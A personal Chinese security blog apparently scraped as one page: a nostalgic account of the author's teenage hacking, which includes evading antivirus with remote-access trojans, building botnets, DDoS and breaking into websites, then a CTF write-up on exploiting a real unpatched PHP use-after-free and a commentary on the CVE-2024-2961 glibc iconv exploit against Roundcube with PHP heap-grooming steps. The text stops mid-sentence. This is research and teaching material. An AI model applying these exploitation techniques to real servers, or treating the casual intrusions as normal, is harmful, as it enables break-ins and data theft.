the-story-of-me

先讲一个2016年博客刚开的故事:

先听我讲完一个故事,关于我的故事,一个摸爬滚打的”黑客“成长的故事,我很早就接触过这个专业的内容,说起来我初中就开始接触网络安全,那是我因为想玩私服却中毒了,那时在网上到处找工具杀毒,可惜还是没能成功,之后只好重装系统。这过程中耽误了大量的时间,最后导致我爹发展很多年的游戏账号被洗了。于是在愧疚和不甘的情绪下, 这次意外的邂逅让我选择了未来的人生的路, 也慢慢变成了同学眼中的"黑客"。

从那以后我开始研究各种杀毒软件,研究如何让电脑变得更安全. 去了很多论坛,意外地去了360, 我骗了那个论坛大管理,还记得那个叫人随云,我当了其中一个版主, 他一定不会知道在他面前的只是一个初二的学生。还记得是防火墙的一个版主。只是我不是大牛,其实什么都不会,只会百度, 但是也能帮助别人解决一些问题, 似乎那时候360自己的防火墙才刚刚内测。特别地,那时觉得拥有一个远控很酷,我到处找,可没有方向,到最后被别人骗到被控制,但我还是想要一个。最后我找了一个黑客论坛,我注册了帐号,开始在里面找各种东西学,很幸运我遇到了我生命中帮助我走上这条路的朋友,或者说是老师。

开始弄扫端口,弄肉鸡,没有服务器扫端口,所以只好无奈的找别人苦苦的求一个,却被我如获至宝,135,1433是那个时候最流行的东西吧,一个免杀的远控和扫端口,就是你的最大的宝物,我也成了其中一个人,很幸运我遇到了那些愿意帮助我的人,在这条路上很少有人愿意闲出时间帮你,远程教我lcx转发端口,给我远控,他教我踏踏试试去学一门语言,帮我远程装VC6,我心底谢谢他,我过了很长时间才知道,他放弃了他的爱好,回家结婚生子,有些时候要扛氧气瓶子走近70度的斜坡,我想这就是现实,我现在也没跟他联系过了,也许他忘了我这个曾经渴求的技术的菜鸟,但我心底始终有这么一个人。

从那开始我认识到还是要学一门语言才行,选择了c语言,放学跑到新华书店高高兴兴的买了一本c语言的书,我把他当作至宝,可惜入门很难,我逐渐放弃,过了一段时间我又重启,不知道在哪看见一句话说视频学习可能会好一点,我开始了视频学习,叫一个郝斌的c语言教程,很生动,奇迹般我坚持了下来,170课每节课几十分钟,我坚持了下来,我逐渐能看懂一些平时的代码,我很庆幸自己学了c,这样我都能大致看懂其他语言,对我帮助很大。

那时,我又认识了一个我真正的师傅–冰蓝,他已经能自己写一些端口扫描的,他告诉我是用c写的,我平时有一些不懂的东西就问他. 因为逐渐地进入了初三,学业也比较重了,但并没有阻挡我的热血,一次我问我师傅,你最近在干嘛,他说渗透,我那时并不懂什么叫渗透,很好奇,师傅带我进入了这个新奇的领域,给我了一个90sec论坛账号和一些资料,但我那时我并没有在意。后来随着我师傅,我认识许多朋友,如今却已早已不联系。

那段时间,我学了做免杀,特征码,花指令,跳转,依稀还在心头,我还记得那是做出第一个ghost的免杀是多么高兴,过了金山,360,发在了论坛上,给大家分享。一个免杀许多特征码要改,是很难的,灰鸽子就太难了,几百处,所以我还是有耐心。我又学了缓冲区溢出,感谢ice的几个G的教程,如今shellcode都忘记的差不多了,还学了逆向破解,吾爱破解应该是最厉害的论坛吧,可惜没汇编的知识,很难我放弃了。 那时我记得越南菲律宾的南海权益站爆发了,身为小黑客的我也必须要给祖国做出自己的一份贡献,很搞笑是那时候在yy上(语音软件)在集合,我遇到了一个人还跟他讲技术,之后我才发现是一个大牛,我认为自己很搞笑,之后却成为了好朋友。

那时不懂技术就ddos呗,会的人就渗透,这一次我才真正的进入到渗透的奥秘,简单的sql开始,google搜索,到之后的bt5渗透平台,第一次拿后台,第一次拿shell,第一次拿服务器,我很开心那段时间,我常常因为往软件里跑个站睡着了,一睡醒就扫好了,那段时间技术提高很快,逐渐初三快结束了,考试我差几分没考起重点高中,出了几万块,我心里过意不去,离开了自己的网络,将一切东西封存,开始了努力学习,常常就翻翻c语言书,心里还是挺温暖的。

高中是一个学习的青春,每个人都这样,我也不过如此,没有了太多时间去弄其他的。离开了自己钟情的网络,时常上课会想想这些经历,总会笑起来。高中的图书馆我也去过不少但书太少太老,但也很感谢,学了linux操作系统,javascript等等,不过忘的差不多了,高三结束了,高考如期举行,在填志愿的时候,我毅然决然地选择了信息安全,每一个学校都是只填了这一个专业且不服从调剂,父母都给我担心。想考军校,去考了,没考起,体检太紧张,心跳快了,既然没考起就安心上学,我选择了许多信息安全的专业的学校,但是因为数学意外地失败,其实也不是意外,后知后觉吧。没想到来了天津理工,但是预料之中的。

沉迷了半年在大学生活,我有缘在博客园上看见了一个高二的学生追逐信息竞赛的梦想和执着,我想到了自己,上了自己理想的专业却无所作为, 我想重新开始,别忘了当初的梦想。曾经的hacker梦,未来谁也说不定,我的那些朋友应该基本都离开了网络,我是不是该坚持呢,我想只是我的梦想。我一路走了也学会了很多,不放弃。就这样,我一路走来与hacker有缘,我会坚持,从来都是自学,大多数黑客都是这样走来的吧。

上面就是我故事, 但是实际要精彩的多,我写不出来。现在看来那些在的技术不过如此可笑,但我现在我总少一点当时在那种兴奋感,我走过的路没人知道,我的努力没人看见,不过没事。我知道自己在什么,累了歇歇。

如何走下去?

不管你是如何走上这条道路。首先你要学会感谢自己这一路走来你没有放弃,感谢自己一路上变得如此坚强。有人常常问我如何学起hacker,我可能一时无法回答他,因为这过程充斥了太多偶尔,缘份。也许你遇见我也是一种缘份,回头去看看那些牛逼的人,他们的成长之路也充满着太多偶尔,也许你生来就是为了这,喜欢探索,也许你会走在很顺。首先你得问自己一个问题,你是否真的对它感兴趣,不感兴趣,我劝你趁早放弃,浪费时间!

1.首先你可以去寻找一本类似所谓黑客的书看看是否感兴趣,如果有兴趣接着下去。

2.当一段时间脚本小子,然后可以接着深入。

3.学习一门语言或者多种

接下来的路你比我懂

学着独立去完成一个东西,别急着问别人,别人也没有那么多的耐心。其实你的路我也不知道,自己走下去,我相信你会走出自己的路。也许你现在能想到什么,那我也就值得了。

劈柴,打水,喂马,周游世界,挺好。end -M4p1e


再讲一个2021年的故事

看着上面稚嫩的语言,往事不堪回首啊!前天我在准备更新博客的时候,脑子抽筋把服务器reset了. 刚开始我楞了几秒,很快我知道我弄出大问题了. 当前vps是vultr,我马上去问了他们的工作人员,能否恢复数据?答案也很显然是不能,因为我没有打任何的snapshot和做任何的backup. 当时很无助,我不知道怎么办,那种感觉我不知道怎么说... 你最珍贵的东西突然间全部没有了! 但是我马上冷静下来,互联网是有记忆!说到这里不得不提一下paadqd了,它是大三我突发奇想写的一个php后端web框架. 你肯定会觉得它的名字很奇怪对吧,实际上它是有内在含义的,它代表着一条崎岖不平的路,象征着我这一路走过来的信安路. 是不是还像那么回事儿?哈哈!为了让它支持markdown,我使用了stackedit这样一个前端markdown的编辑器,paadqd会把文章完整的content内嵌到js中作为一个常量,交给stackedit去处理。 正是当初这一懒惰的做法,才有了现在的一线生机. 首先检查了一下google 是否有cache我的内容,Yes! its there! 几乎所有东西都在,配合百度的快照我觉得一切都回来了. 随即把所有的cached html都爬了下来. 当然也丢掉了一些内容,我想那些内容估计也没有人看,不如让它随风远去吧...

随之而来的问题是,我需要重建整个博客. 这一次我抛弃了我的paadqd,选择了更为省心的hexo. 我的第一准则是让我的博客看起来干净,于是开始了手工重建的工作,经过12小时的奋战,就有了现在你们看见的效果. 不得不说效果还是不错的嘛! 这一次我做了万全策略! 好吧,既来之,则安之。无论如何,新博客开张了!

2021-05-05


N1CTF24 PHP Master Writeup

0x01 介绍

在刚刚过去的N1CTF24上,我出了一道关于PHP的pwn题,其中涉及到的漏洞[1]是真实存在的,并且目前依然没有被修复。非常遗憾,期待的PHP master并没有出现在这次的比赛中,让我们期待下次的PHP rising star xd。在这篇文章中我会讲到以下内容:

  1. 出题思路。
  2. PHP pwn下的一般性解决路径。
  3. PHP Master的解题思路。

希望能帮助到大家。相关的利用方式

0x02 出题思路

对于题目中出现的PHP漏洞,我已经在文章[2]中讨论过了。首先,就它的重要性而已,它可以作为一个PHP sandbox escape方案去攻击目前所有的PHP7-8解释器。因此我想以它为背景来做一道题,但是我不希望以sandbox escape的形式呈现 (即允许选手可以执行任意PHP代码)。于是我转而在考虑一个场景:

  1. 一个没有明显漏洞的PHP应用,
  2. 但跑在一个有缺陷的PHP解释器上。

最后,我们通过和这个PHP应用来交互来攻击背后的PHP解释器。这看起来是一个可能在现实中碰到的场景,于是我写了一个满足上述要求的PHP应用。另外,为了降低难度,我在这个PHP应用里面加一个可以充当PHP反序列化链的black door。其实我有点担心,这会不会干扰选手的做题思路,去往pwn unserialize这个函数上靠,所以我这专门上了gzdeflate对数据进行了处理,告诉选手不要希冀这里。最后希望是没有出现这样的情况 (如果有,那只能say sorry了)。所以这里还引入了一点点关于web的知识点。

0x03 一般性解决路径

这里我分享一下,我个人在尝试研究PHP时的一般性解决路径。首先你要熟悉一些编程语言向的基本知识:

  1. 基本变量类型(string, double, integer, array, ...)在PHP内部表示。
  2. 能够快速找到PHP内置函数(native function) 的定义。例如搜索, PHP_FUNCTION(xxx)
  3. 大概知道编程语言编译器的概念,能够快速得到目标PHP代码,被编译成了哪些中间指令。可以参考zend_compile.c, 注意PHP编译过程会现将目标代码转换成抽象语法树,再从语法树上编译得到最终中间指令。当然你也使用一些工具,来生成中间指令,比如vld或者PHP本身的opcache。
  4. 大概知道编程语言解释器的概念,能够快速找到PHP解释器关于某个指令的解释过程。可以参考zend_vm_def.h,它里面包括了所有PHP指令的解释过程,它并不是executable的,它还需要进行一次处理就可以得到实际的解释过程zend_vm_execute.h (大几万行代码,看着可能非常难受)。我推荐尽量看前者弄清楚语义,需要下断点的时候,去后者里面找。
  5. 了解PHP内存管理,它的实现并不复杂,我的建议是直接看代码,去zend_alloc.hemallocefree的实现。
  6. PHP基本的生命周期。弄清楚这一点有助于你在比较关键的点下断点。

了解上面的东西,感觉也就差不多了。后面提及一些比较有用的细节。

如何愉快地编译PHP ?

比如就本题而言,我可能会使用下面的编译指令:

1
CFLAGS="-O0 -g -fno-omit-frame-pointer" LIBS='-ldl' ./configure --prefix=/opt/php-8.3 --enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --with-zlib

这里有2个原则:

  1. 不要直接使用--enable-debug, 它会带来一些非预期的行为。比如在debug模式下,PHP会trace内存申请,它会导致你每次申请的内存会大一些 (用于记录一些额外的信息),可能会导致你exploit失败。所以这里尽量使用gcc的参数项。
  2. 不要enable一些无关的PHP扩展,增加调试的复杂性。

如何愉快地使用gdb?

  1. PHP官方在它们的php-src里面提供的一个.gdbinit, 可以帮你分析PHP里面的基本对象。
  2. php-mm-gdb-debugger 里面提供了一个gdb脚本,可以帮你打印PHP堆上的一些信息。

如何愉快地调试PHP-FPM ?

我们可以通过设置以下参数来控制PHP-FPM master只spawn一个worker方便调试

1
2
pm = static
pm.max_children = 1

然后我们可以直接使用gdb去直接attach这个唯一的worker。

如何愉快地调试PHP应用 ?

就本题而言,我们不仅要调试PHP解释器的状态,可能也需要去调试其上的PHP应用状态。现实场景中更是如此。比如我想调试执行到PHP应用中某一行时,PHP解释器的状态是怎样,该如何操作? 比较理想操作是直接对PHP做插装去实现改该功能,这可能需要coding。在不想coding的情况,你也可以用gdb去实现这一点:

  1. 对这行代码中使用的函数下断点,或者你人为插入某些无害函数。
  2. 对这行代码中使用的指令下断点。

是否可以使用类似xdebug这样工具呢? 我没有评估过它的加载是否会对PHP解释器内部状态有影响,比如堆布局,所以我这里不推荐。

0x04 PHP Master WP

最后终于进入到了writeup环节,这里存在两个可能触发我们关注的PHP漏洞的路径:

  1. Dataform->insert方法中,如果我们没有传入$_POST['content'],则会造成$content是一个undefined variable。在第106行,在对Dataform->data进行数组操作的过程中,PHP会因为$content是undefined弹出一个notice message,从而进入我们设置好的error handling。在第242行中,我们如果传入了$_POST['_display_data'],则会覆写Dataform->data。最后等到error handling返回时,继续第106行的数组操作,产生了UAF。
  2. 同样地,在Dataform->append方法中,也有上述问题。

因此这里的UAF对象是Dataform->data,我们会分别使用这里的两个UAFs,实现两个不一样的功能。这里首先给出利用的大致路线:

  1. 泄露PHP heap上的某个地址,并且我们希望这个地址和$_SESSION['data] (对应的PHP字符串)的地址比较接近。
  2. 根据泄露的地址去猜$_SESSION['data]的地址 (bruteforce)。
  3. 猜到$_SESSION['data]的地址之后,将其上的内容覆写成我们利用black door构造好的反序列化字符串。

内存布局

这里我们主要利用PHP内存对象是0x500-block (这里我们用xxx-block来表示大小为xxx bytes的内存块)。使用它的原因很简单,因为当前PHP应用和PHP解释器内部都很少会用到它,所以会减少很多未知的干扰。另外后面会提到我们可以泄露的某个heap上的地址,它对应一个0x30-block。如果我们想要达成利用路线的第一步,我们需要让它们相距的比较近。结合PHP内存管理的相关内容[3]:

  1. PHP采用了memory slots的手法, 即针对小内存 (8 - 3072 bytes), 它会在连续的页上按大小划分slots (bins). 举个例子, 对于8 bytes内存, PHP会拿出1个page (4096 bytes) 出来, 将其划分为512个bins供给小于或者等于8 bytes的内存申请. 而对于320 bytes内存, PHP会拿出5个pages出来, 再上面划分64个bins供给 256< x <=320的内存申请. 小内存的回收采用是经典地free_lists.
  2. PHP使用memory chunk (跟arena是有些相似的)来作为小内存的操作对象. 一个memory chunk默认大小为2M (0x200000), PHP在其上根据需求来划分不用小内存区域. 当一个memory chunk使用完了之后, PHP会申请新的chunk. 然后用链表将这些chunks连接起来.

因此我们采用以下操作:

  1. 首先消耗掉PHP已经划分好的0x30-blocks。
  2. 再继续申请0x30-blocks迫使PHP在新的pages上划分0x30-blocks。
  3. 再消耗掉PHP已经划分好的0x500-blocks。
  4. 再继续申请0x500-blocks迫使PHP在新的pages上划分0x500-blocks。

这样的操作会使得第2步和第4步生成的blocks大概率会位于连续的pages,即使不是连续的,也不会相距的很远。对于位于这样pages上的任意两个blocks,我们就认为它们相距的很近。以上就是memory_planning在做的事情。注意memory_planning是通过构造HTTP请求参数来操作PHP内存方式的,我在之前的文章[4]中非常详细了阐述这种方法。

还有一点也比较重要,我们的exploit是通过多次发送http requests来实现的,并不是在一次http request完成的。那么这里有一个问题,如何确保某次request泄露出来的heap上的地址,在后续requests也能用? 因为你每次构造的http request并不是一样的,这就会导致目标内存布局发生变化,你需要额外注意这一点。

地址泄露 (leak)

这里利用前面我们提到的第二个UAF,即发生DataForm->append中的那一个。当内存布局结束,后续大致路线如下:

  1. 在第243行,对DataForm->data进行赋值,使得本身指向的0x500-block (我们用A表示)被释放。
  2. 在第160行,在gzinflate中拿到A,使得gzinfalate返回结果落在A上。这里的返回结果作为error message会被我们拿到。
  3. 在第121行,这里相当于是将一个浮点数 (其二进制表示9223372036854775807) 和一个null进行字符串链接,然后将结果写到A上。这里的浮点数会先进行一个类型转换,转换成对应字符串表示 (会占据一个0x30-block),理所当然的其地址就被写到A上。

这里关键是UAF的使用方需要是一个我们可以观测的对象,比如这里的error message。

任意地址写 (modify_session_data)

在第三步中我们需要覆写掉$_SESSION['data'],这个写操作,我们通过对$_SESSION['data']进行UAF来实现。你可能会想,前面我们不是仅仅提到了两个关于DataForm->data的UAF吗? 哪里来的新UAF ? 这里我们需要好好利用一下我们提到的第一个UAF,即发生在DataForm->insert中的那一个。我们考虑第106行这里的赋值操作$this->data[$i][$j] = $content;,这里正常赋值如下:

  1. 尝试释放掉$this->data[$i][$j]原本的内容。
  2. 再将$content赋值为$this->data[$i][$j]

综上,我们可以在$this->data[$i][$j]布置一个fake string,这个fake string指向$_SESSION['data'],造成一个意外释放。随后通过这个伴随的UAF拿到这块内存,改写其内容,现实对$_SESSION['data']的覆写。另外我们需要控制$_SESSION['data']的大小也在0x500-block上。观察到这里的PHP应用对外来数据都使用了gzdeflate来处理,因此这里我们使用了inflated_data来生成一些无法压缩的数据,从而进行有效的数据长度控制。

这里大致路线如下:

  1. 通过http request,在指定位置$this->data[$i][$j]上写入fake string指向$_SESSION['data']
  2. 在第243行,对DataForm->data进行赋值,使得本身指向的0x500-block (我们用A表示)被释放。
  3. 在第160行,在gzinflate中拿到A,使得gzinfalate返回结果落在A上。维持我们写入的fake string不变。
  4. 在第121行,释放掉fake string指向的$_SESSION['data'] (我们用B表示)。
  5. 在第81行,函数trim拿到B,即将$_POST[callback]写到B上。实现对$_SESSION['data']的覆写。

这里比较重要是需要利用赋值过程构造一个伴随的UAF。

引用

  1. bad error handling, https://github.com/php/php-src/issues/13754
  2. PHP之殇 : 一个IR设计缺陷引发的蝴蝶效应, https://m4p1e.com/2024/03/13/bad_php_ir/
  3. CVE-2023-3824: 幸运的Off-by-one (two?), https://m4p1e.com/2024/03/01/CVE-2023-3824/
  4. 关于 "CVE-2024-2961 glibc iconv exploitation (part 2)" 注解, https://m4p1e.com/2024/07/03/CVE-2024-2961/

关于 "CVE-2024-2961 glibc iconv exploitation (part 2)" 注解

CVE-2024-2961是最近公布出现在iconv中的漏洞。原发现者cfreal也陆续展示了关于它的利用方式[1] [2]。我之前是看过part 1 [1],其中通过使用PHP filters来操作内存的方式相当有趣。在part 1的结尾,作者提到接下来还会公布两个有趣的利用方式。最近,恰巧一个朋友让我帮他调试一下刚出来的part 2 [2]。相比于part 1,part 2中的利用场景则是一个真实PHP应用: Roundcube。然而,调试过程非常曲折,即使我本人非常熟悉PHP里面的东西。所以我觉得有必要写下来。从这篇文章中你可以了解和学习到以下几点:

  • cfreal提供的利用过程不是开箱即用的 (其中某些内存地址是写死的)。
  • cfreal文章中的利用方式和给出的exp.py存在差异,并且部分文章中提到的利用手法存在问题。
  • 我是如何解决上述问题,并且让利用过程能够去尽可能地适应不同的目标对象。
  • 如何简单地检测是否可以在roundcube上利用CVE-2024-2961。

如果读者没有看过[1] [2],我建议先看它们再往后看这篇文章。因为这仅仅是一篇comment性质的文章。同时也意味着我更加关注于原文中的一些细节和未曾提到的东西。两者结合起来看,可能收获更大。

0x01 环境搭建

glibc降级

1
apt install libc6-dev=2.31-0ubuntu9 libc-dev-bin=2.31-0ubuntu9 libc6=2.31-0ubuntu9

我这里用的ubuntu20.04,其他ubuntu版本可以参见以下链接,来回滚安全更新。

https://launchpad.net/ubuntu/+source/glibc

php-fpm 编译

PHP版本: 387b1c62bfbe5e14647620f132a00880ccfcf0c6 (PHP8.3.10-dev)

编译选项:

1
CFLAGS='-g -O0 -fPIC' CXXFLAGS='-g -O0 -fPIC' ./configure --prefix=/opt/php-8.3 --enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --enable-exif --enable-gd --with-freetype --with-jpeg  --with-ldap --enable-intl --with-pdo-mysql --with-pdo-pgsql --with-pdo-sqlite --with-zip --with-pspell --with-mhash --with-pic --enable-ftp  --enable-mbstring --enable-mysqlnd --with-password-argon2 --with-pdo-sqlite --with-sqlite3 --with-curl --with-iconv --with-openssl --with-readline --with-zlib

选择自己编译PHP是为了更好的后续调试工作。另外可以通过设置以下参数来控制php-fpm master只spawn一个worker方便调试.

1
2
pm = static
pm.max_children = 1

roundcube配置

本文使用的roundcube 1.6.1 (原文是1.6.3),具体配置可以参见roundcubemail-docker。同时使用的是docker-mailserver作为邮件服务。

(抱歉,我太懒了,没有整理出来一个compose yaml : ()

0x01 关于CVE-2024-2961的基本理解

iconv只能溢出1-3字节

1
2
3
4
5
6
7
8
// iconvdata/iso-2022-cn-ext.c
...
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
...

可以看到它在无bound check的情况下,往后写了4个字节。那么这里为什么不能溢出4个字节呢? 因为在进入上述过程时,肯定就保证了output buffer有空余,那么其至少是空余1个字节的,所以最多只可以溢出3个字节。于是,我们知道这里发生越界的条件有两个:

  1. output buffer空余不大于4;
  2. 下一个需要编码的字符要满足进入上述过程的分支条件。

可以溢出的3字节种类:

1
2
3
4
5
6
$*H [24 2A 48]
$+I [24 2B 49]
$+J [24 2B 4A]
$+K [24 2B 4B]
$+L [24 2B 4C]
$+M [24 2B 4D]

php_iconv上的利用点

我们用php_iconv表示PHP内置函数 iconv,将其和glibc中的iconv函数区分开来。php_iconv一开始会申请 l + 32的内存作为output buffer,其中l为传入的字符长度。那么想要利用它,我们需要进行以下步骤:

  1. 需要让长度l为input string扩张到l + 32 大小左右,比如l + 32 - 1l + 32 - 2l + 32 - 3
  2. 编码特定字符,实现4字节越界写。

作者展示了两个gadgets:

  • 劄\n : 4字节 => 10字节.
  • 劄劄\n: 7字节 => 12字节.

可以看到这个编码似乎带有一些压缩功能。任意组合上述两种gadgets时,都是固定增长的。例如

  • 劄\n劄\n: 8字节 => 20字节
  • 劄\n劄劄\n: 11字节 => 22字节

思考一下,如果我们想要通过组合上述gadgets通过php_iconv新增30个字符,那么应当如何组合呢? 我们设需要x劄\ny劄劄\n, 那么其相关约束为:

1
(10 - 4) * x  + (12 - 7) * y = 30  ===>  6 * x + 5 * y = 30 ====> x = 5, y = 0

另外,如果我们考虑在input最后放一个gadget来做4字节溢出,这个gadget你可以只用单个字符 i.e., 。那么input的一般形式应当如下:

1
{normal_chars : z} | {"劄\n劄\n劄\n劄\n劄\n" : 5 * 4} | {"劄" : 3}

其中{normal_chars}可以看做长度为z的ascii字符的padding i.e., aaaaaa....,可以用来控制目标output buffer的大小 (l + 32)。经过php_iconv之后会变成:

1
{normal_chars : z} | {"..." : 5 * 10} | {"..." : 9}

如果我们希望在处理最后一个的时候,output buffer只空余2个字符,对应的约束就变成了

1
2
output_buffer_len - input_len = 2 ===>
(z + 4x + 7y + 3 + 32) - (z + 10x + 12y) = 2 ===> 6*x + 5*y = 33 => x = 3, y = 3

可以看到它是与z无关的。这正是cfreal给出的cnext-exploits/pocs/poc.php中等式的来源。

0x02 利用HTTP请求参数布局内存

PHP处理请求参数的过程

PHP在处理HTTP请求时,会解析对应的请求参数,将每个参数用合适的内存存放。因此我们可以通过控制参数的大小,来控制PHP申请对应大小的内存,从而操作PHP内存。比如参数a=1,PHP会将其解析为对应key (a) 和value (1),然后用合适内存块来存储它们。具体来说,对每一个参数k=v,PHP会将其放到对应PHP数组上,例如GET参数会放在变量$_GET上。这样一次操作会涉及如下内存操作

  1. alloc(sizeof(str("k")))
  2. alloc(sizeof(str("v")))

值得注意的是,当filter扩展[3]开启的时候 (默认编译选项下是开启的),会额外多一次关于v的内存申请,即

  1. alloc(sizeof(str("k")))
  2. alloc(sizeof(str("v")))
  3. alloc(sizeof(str("v")))

这是因为filter扩展对每种类型的参数,它会单独维护一个PHP数组来存储具体的值。那么为什么k只申请了一次内存呢?这涉及到PHP内部针对字符串的部分优化。对于k,PHP会使用一种叫internal string的字符串表示来维护,是一种带缓存机制的字符串表示。即当你创建某个PHP字符串时,它会首先去寻找之前是否创建过相同的字符串,如果存在,则直接使用它。因此这里只有一次关于k的内存申请。

比较有趣是,你不但能够控制PHP内存申请,同样可以在某种程度去控制PHP内存释放。比如存在两个key相同的参数k=v1&k=v2,PHP在处理后者的时候,会把前者的value给覆盖掉,即前者占用的内存会被释放掉。具体来说,PHP在处理k=v1&k=v2会发生以下内存操作:

  1. alloc(sizeof(str("k")))
  2. alloc(sizeof(str("v1")))
  3. alloc(sizeof(str("v1")))
  4. free(sizeof(str("v1")))
  5. alloc(sizeof(str("v2")))
  6. free(sizeof(str("v1")))
  7. alloc(sizeof(str("v2")))

可以看到是内存操作是有顺序的。接下来,理解这其中的顺序对我们后面利用构造非常重要。首先我们用$_POST$_POST_COPY来表示前面提到的两个用来存储POST参数的PHP数组。那么处理k=v1&k=v2的过程可以简单地表示为:

  1. update_array($_POST, "k", "v1"): A1, A2
  2. update_array($_POST_COPY, "k", "v1"): A3
  3. update_array($_POST, "k", "v2"): F4, A5
  4. update_array($_POST_COPY, "k", "v2"): F6, A7

我将每个处理过程和相应的内存操作对应起来了。

另外,我们还可以注册数组类型的参数,例如a[k]=v。它处理过程于上述类似:

  1. arr = get_or_create_array($_POST, "a")
    1. alloc(sizeof(str("a")))
    2. alloc(empty_array()) (我们假设a是第一次出现)
  2. update_array(arr, "k", "v")
    1. alloc(sizeof(str("k")))
    2. alloc(sizeof(str("v"))
  3. arr = get_or_create_array($_POST_COPY, "a")
    1. alloc(sizeof(str("a")))
    2. alloc(empty_array()) (我们假设a是第一次出现)
  4. update_array(arr, "k", "v")
    1. alloc(sizeof(str("v"))

值得注意是在get_or_create_array中的key是不走internal string机制的,即会独立申请内存。

最后,我们讨论一个特殊参数注册过程, a[k1]=v1&a[k2]=v2&a=k3,这里处理过程如下:

  1. arr = get_or_create_array($_POST, "a")
  2. update_array(arr, "k1", "v1")
  3. arr = get_or_create_array($_POST_COPY, "a")
  4. update_array(arr, "k1", "v1")
  5. arr = get_or_create_array($_POST, "a")
  6. update_array(arr, "k2", "v2")
  7. arr = get_or_create_array($_POST_COPY, "a")
  8. update_array(arr, "k2", "v2")
  9. update_array($_POST, "a", "k3")
  10. update_array($_POST_COPY, "a", "k3")

值得一说是的,最后9和10步对应处理a=k3,这两步会首先释放(析构)掉前面申请的PHP数组。在释放一个PHP数组时,它里面的元素会逐个释放,按照它们被插入该数组的顺序。

PHP内存管理基本概念

之前我在关于CVE-2023-3824的文章[4]中简单提到过PHP的内存管理。内存申请通常分为小内存和大内存申请。 对于小内存 (8 - 3072字节) 申请,PHP会首先向系统申请一块大内存 (memory chunk) (2M),然后根据内存申请需求,在上面分割出来各种大小的slots其使用。特别地是,通常会再整数倍的内存页(page)上划分slots。比如对于8字节slot,PHP会拿出来1个page (4096),那么就会得到512个8字节slots。这些slots会用一张单链表(freelist)连接起来,对于未来小于或者等于8字节内存申请,可以直接从freelist上取slot。对于小内存回收,PHP会将其重新放到对应的freelist上,并且最近释放的小内存总是freelist的最前面。对于不同大小的小内存,PHP会预先申请不同数量的slots,具体的策略可以在[5]中看到。当一个memory chunk被使用完成之后,PHP会再次申请一个新的memory chunk,将它们用一个循环链表连接起来。文章中并不涉及大内存的申请,所以这里我们略过。

布置期望内存环境

结合前面我们提到的关于PHP处理HTTP请求的过程和PHP内存管理机制,我们实际是可以布置近乎于任意内存环境的。我们通过几个小例子来感受一下。这里我们假设只针对某个特定大小的小内存来布局,它的大小我用x来表示。再给出几个可控内存操作:

  • alloc_key(x): 通过参数中key的大小,去控制PHP申请1个大小为x的slot.
  • alloc_value(k, x): 通过参数中value的大小,去控制PHP申请2个大小为x的slots,其key为k.
  • free_value(k): 通过覆盖某个key为k的参数,去释放它之前value占据的两个slots.

我们来研究下面几种freelist情况,我们假定A, B , C, D是4个在地址上连续的大小为x的slots,A所在的地址最低。其中->表示next slot。

case 1: A -> B -> C -> D

freelist上为顺序的slots,这容易在PHP初始化freelist时候达到。当一个freelist没有了可用的slots之后,PHP会按照前面提到的方式为补充。在初始完成之后,freelist上就是顺序的slots。

因此,这里我们需要申请大量x-slots,让freelist重新初始化即可。其过程为

  1. alloc_key(x)
  2. alloc_key(x)
  3. ...

这个量最好接近PHP初始化时产生的x-slots数量,使得尽可能把之前申请的都用完。

case 2: B -> A -> C -> D

相较于case 1,这里交换了A和B的位置。因此,这里我们需要首先构造case 1,再交换最前面两个slots。其过程为

  1. 构造case 1: A -> B -> C -> D
  2. alloc_value(k, x): C -> D
  3. free_value(k): B -> A -> C -> D

只需要一次alloc/free即可交换对应的slots。

case 3: A -> D -> B -> C

想较于前面两个cases,这里变化比较大,我们还是需要先构造case 1,然后再做后续操作。其过程为

  1. 构造 case 1: A -> B -> C -> D
  2. alloc_value(k1, x): C -> D
  3. alloc_value(a[k2], x): empty
  4. free_value(k1, x): B -> A
  5. alloc_value(a[k3], x): empty
  6. free_value(a): A -> D -> B -> C

在第5步之后,假设这里我们使用是POST参数,那么$_POST["a"]$_POST_COPY["a"]里面的元素和其占据slot分别为:

  • $_POST["a"]: {k2 : C, k3 : B}
  • $_POST_COPY["a"]: {k2 : D, k3 : A}

那么经过第6步之后就会变成我们期望的样子。

case 4: A -> O -> D -> B -> C

在case 3的基础上,case 4讨论是我们想要在A和D之前再插入一个任意的slot。 显然我们需要先构造出case 3,然后再做后续操作。但是在构造case 3之前我们需要一些额外的工作,其过程为

  1. alloc_value(k1, x): 任意freelist
  2. 构造case 3: A -> D -> B -> C
  3. free_value(k1, x): O1 -> O2 -> A -> D -> B -> C
  4. alloc_key(x): O2 -> A -> D -> B -> C
  5. alloc_value(k2, x): D -> B -> C
  6. free_value(k2): A -> O2 -> D -> B -> C

上述操作可以一般化,比如将A往前移动n次。

case 5: A -> C -> E -> G 并且B, D, F, H 已经被allocated

在case 5里面我们研究如何构造一张类似网(net)一样的freelist,即两个相邻slots,其中一个已经被allocated了,而另外一个还在freelist里面。这个net实际非常容易构造,但是容易让人复杂化 (比如我)。我们只需要合理的利用PHP数组的析构即可。其过程如下:

  1. 先构造case 1: A -> B -> C -> D -> E -> F -> G -> H
  2. alloc_value(a[k1], x): C -> D -> E -> F -> G -> H
  3. alloc_value(a[k2], x): E -> F -> G -> H
  4. alloc_value(a[k3], x): G -> H
  5. alloc_value(a[k4], x):
  6. free_value(a): H-> F -> D -> B -> G -> E -> C -> A
  7. alloc_value(a[k5], x): D -> B -> G -> E -> C -> A
  8. alloc_value(a[k6], x): G -> E -> C -> A

如果我们不care它们在freelist的顺序,其实做到这一步就够了,更多只是希望是net的形状。另外,去reverse它们也比较简单,合理的alloc/free即可,这里我们就不探讨了。

case 6: F1 -> F2 -> F3 -> ... -> Fn -> expected_freelist

case 6讨论是一个非常实际的问题,我们期望的内存布局往往需要保持某个特定的PHP脚本执行的地方。然而,利用PHP处理HTTP请求构造的内存布置,极有可能被后续的PHP引擎本身或者PHP脚本运行所破坏。在part2 中,作者也提到了这一点。因此,我们需要去规避在这些过程里面的内存操作对我们的影响。有一个很简单的优化规避方法是尽可能使用目标应用的比较少的小内存类型,比如使用一些较大的小内存,但是我们还是从根本上解决这个问题。另外一个非常自然的想法就是在我们构造的freelist之前去填充一些可用的slots,让这些去满足额外的内存操作。但是,要填充多少slots,我们并不知道,这跟目标环境有关系。因此这里可能存在一个多次尝试的过程。一般地,我们填充过程如下:

如果n是偶数:

